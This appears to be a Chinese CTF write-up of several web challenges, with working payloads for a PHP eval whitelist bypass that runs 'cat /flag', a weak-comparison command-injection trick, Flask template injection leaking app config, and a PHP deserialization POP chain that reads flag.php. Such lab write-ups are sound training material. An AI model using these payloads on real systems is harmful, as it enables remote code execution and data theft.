目录
[WUSTCTF2020]朴实无华
[安洵杯 2019]easy_serialize_php
ASIS 2019]Unicorn shop
[CISCN 2019 初赛]Love Math
[WesternCTF2018]shrine
[网鼎杯 2020 朱雀组]Nmap
[SWPU2019]Web1
[MRCTF2020]PYWebsite
[MRCTF2020]Ezpop
[WUSTCTF2020]朴实无华这题主要就是绕过php特性 ,
访问假flag页面 ,响应头里有文件提示
访问后得到源码,这里怎么乱码了
逐个击破
if(intval($num) < 2020 && intval($num + 1) > 2021)
这里使用e科学计数法, $num=123e3
intval($num)解析出来是123 满足<2020
intval($num + 1) 解析出来是 123e3+1 满足>2021
if ($md5==md5($md5))
这里是弱比较,只需满足 字符串的md5是0e开头 字符串本身也是0e开头 这样都是0,网上找一个满足的 0e215962017
if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag)
$get_flag 不能有空格,有很多可以替代,用<替代
也不能有cat 用tac
fl4g.php/?num=123e3&md5=0e215962017&get_flag=ls
source_code'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
提示phpinfo里有东西 ,进去看见这个
有点不太理解,先放一下
ASIS 2019]Unicorn shop看wp也是一脸懵,跟着操作吧,这位大哥讲了下原理
[ASIS 2019]Unicorn shop ( 自找 wp 记录)_kee_ke的博客-CSDN博客
在价格的输入框里只能输入一个字符
这里利用的漏洞是unicode安全问题,是关于Unionde等价性的漏洞
第四个商品 是对的 ,然后价钱输入一个unicode码大于1337.0的 字符,这里就用亿了
参考师傅wp
[CISCN2019 初赛]Love Math_绿冰壶的博客-CSDN博客
BUUCTF:[CISCN 2019 初赛]Love Math_FW_ENJOEY的博客-CSDN博客
= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }
代码审计 ,跟着师傅wp来捋一下,有个字符长度限制
有个黑名单禁用了[ ] 用{ }来替代,
有个白名单限制了数学函数使用
现在我们要目标payload: ?c=system("cat /flag")
?c=$_GET[a]($_GET[b])&a=system&b=cat /falg
[ ] 用{ }来替代,_GET需要使用hex2bin函数,而白名单里没有,所以要用 base_convert()先构造出hex2bin这些字符来
正好,因为36进制中存在着数字字母,我们可以将十进制数转换为36进制数构造hex2bin
base_convert() 函数:在任意进制之间转换数字。 dechex() 函数:把十进制转换为十六进制。 hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
base_convert(37907361743,10,36) 就是代表hex2bin
5f474554 是_GET的16进制数 用dechex(1598506324)求出
base_convert(37907361743,10,36)(5f474554) 就是hex2bin(5f474554) 就是 _GET $pi=hex2bin(5f474554)得到$pi="_GET" ($$pi){a}(($$pi){b})=$_GET{a}($_GET{b}) $_GET{a}($_GET{b})=$_GET{system}($_GET{cat /flag})
最终payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag[WesternCTF2018]shrine
[WesternCTF2018]shrine_Sk1y的博客-CSDN博客
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
SSTI 模板注入 ,跟之前的不一样 ,有限制了
这题不是单纯的打payload了
有黑名单禁用函数了,对ssti并不是很理解,所以就是记录一下大佬们的payload
分析一下代码:意思是注册了一个名字为‘FLAG’的config,同时这个题目把(),config,self都过滤掉了,并且黑名单设置的时候,替换为空。
那么可以使用python的内置函数url_for和get_flashed_messages
/shrine/{{url_for.__globals__}} 有回显 /shrine/{{url_for.__globals__['current_app'].config}} 查看当前app下配置
BUUCTF [网鼎杯 2020 朱雀组] Nmap_Senimo_的博客-CSDN博客_ctfnmap
考点:nmap -oG 写入文件、-iL读取扫描文件、escapeshellarg绕过(参考链接)
[SWPU2019]Web1无列名爆破 ,过滤 information_schema.tables
[SWPU2019]Web1 1_succ3的博客-CSDN博客
[MRCTF2020]PYWebsite源码里 有flag.php 提示 ,访问
有关ip 的,还有 除了购买者和我自己 ,抓包修改一下ip为127.0.0.1 试试
之前学pop构造时候就有了解过一点点这个题目,后来iscc也有个题和这个一样,记录一下吧
Welcome to index.php append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source." "; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
还是有坑的,我一上手不知道从哪里进入__toString() ,
1,在__wakeup() 里有个 preg_match是对字符串做处理的, $this->source如果是类的话就调用该类里面的__toString()方法 2,$this->str->source 进入Test(), $this->str=Test(); 类里面没source,能调用__get() 3,如果 $p=new Modifier(),则相当于返回一个类函数,则会调用Modifier的__invoke() 4,invoke会调用 include($value); ,则构造伪协议读取flag.php $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
构造pop如下 ,注意要直接urlencode() ,因为protected变量
class Modifier { protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php'; } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; $this->str = new Test(); } } class Test { public $p; public function __construct() { $this->p = new Modifier(); } } $a = new Show(new Show('123')); $b = urlencode(serialize($a)); echo $b;